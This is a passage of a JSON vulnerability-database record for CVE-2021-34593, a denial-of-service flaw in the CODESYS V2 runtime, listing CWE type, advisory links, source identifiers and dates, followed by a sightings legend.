"problemtype": "CWE-755",
"trust": 1.0
},
{
"problemtype": "Improper handling in exceptional conditions (CWE-755) [ others ]",
"trust": 0.8
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2021-014196"
},
{
"db": "NVD",
"id": "CVE-2021-34593"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.0,
"url": "http://packetstormsecurity.com/files/164716/codesys-2.4.7.0-denial-of-service.html"
},
{
"trust": 3.0,
"url": "http://packetstormsecurity.com/files/165874/wago-750-8xxx-plc-denial-of-service-user-enumeration.html"
},
{
"trust": 1.6,
"url": "https://nvd.nist.gov/vuln/detail/cve-2021-34593"
},
{
"trust": 1.6,
"url": "http://seclists.org/fulldisclosure/2021/oct/64"
},
{
"trust": 1.6,
"url": "https://customers.codesys.com/index.php?eid=dumpfile\u0026t=f\u0026f=16877\u0026token=8faab0fc1e069f4edfca5d5aba8146139f67a175\u0026download="
},
{
"trust": 0.2,
"url": "https://sec-consult.com/contact/"
},
{
"trust": 0.2,
"url": "https://customers.codesys.com/index.php?eid=dumpfile\u0026t=f\u0026f=16877\u0026token=8faab0fc1e069f4edfca5d5aba8146139f67a175"
},
{
"trust": 0.2,
"url": "https://www.sec-consult.com"
},
{
"trust": 0.2,
"url": "http://blog.sec-consult.com"
},
{
"trust": 0.2,
"url": "https://sec-consult.com/career/"
},
{
"trust": 0.2,
"url": "https://sec-consult.com/vulnerability-lab/"
},
{
"trust": 0.2,
"url": "https://twitter.com/sec_consult"
},
{
"trust": 0.1,
"url": "https://www.codesys.com/"
},
{
"trust": 0.1,
"url": "https://www.wago.com/de/d/6599873"
},
{
"trust": 0.1,
"url": "https://www.wago.com/us/c/controllers-bus-couplers-i-o"
},
{
"trust": 0.1,
"url": "https://sec-consult.com/vulnerability-lab/advisory/codesys-v2-denial-of-service/"
},
{
"trust": 0.1,
"url": "https://\u003cyour_plc_ip\u003e/wbm/php/authentication/login.php\","
},
{
"trust": 0.1,
"url": "https://www.wago.com/"
}
],
"sources": [
{
"db": "PACKETSTORM",
"id": "164716"
},
{
"db": "PACKETSTORM",
"id": "165874"
},
{
"db": "JVNDB",
"id": "JVNDB-2021-014196"
},
{
"db": "CNNVD",
"id": "CNNVD-202110-1823"
},
{
"db": "NVD",
"id": "CVE-2021-34593"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "PACKETSTORM",
"id": "164716"
},
{
"db": "PACKETSTORM",
"id": "165874"
},
{
"db": "JVNDB",
"id": "JVNDB-2021-014196"
},
{
"db": "CNNVD",
"id": "CNNVD-202110-1823"
},
{
"db": "NVD",
"id": "CVE-2021-34593"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2021-11-01T15:14:58",
"db": "PACKETSTORM",
"id": "164716"
},
{
"date": "2022-02-04T17:42:39",
"db": "PACKETSTORM",
"id": "165874"
},
{
"date": "2022-10-07T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2021-014196"
},
{
"date": "2021-10-26T00:00:00",
"db": "CNNVD",
"id": "CNNVD-202110-1823"
},
{
"date": "2021-10-26T10:15:08.013000",
"db": "NVD",
"id": "CVE-2021-34593"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2022-10-07T07:02:00",
"db": "JVNDB",
"id": "JVNDB-2021-014196"
},
{
"date": "2022-03-10T00:00:00",
"db": "CNNVD",
"id": "CNNVD-202110-1823"
},
{
"date": "2025-08-15T20:25:58.247000",
"db": "NVD",
"id": "CVE-2021-34593"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-202110-1823"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "CODESYS\u00a0V2\u00a0Runtime\u00a0Toolkit\u00a032\u00a0Bit\u00a0full\u00a0 and \u00a0PLCWinNT\u00a0 Vulnerability in handling exceptional conditions in",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2021-014196"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "other",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-202110-1823"
}
],
"trust": 0.6
}
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.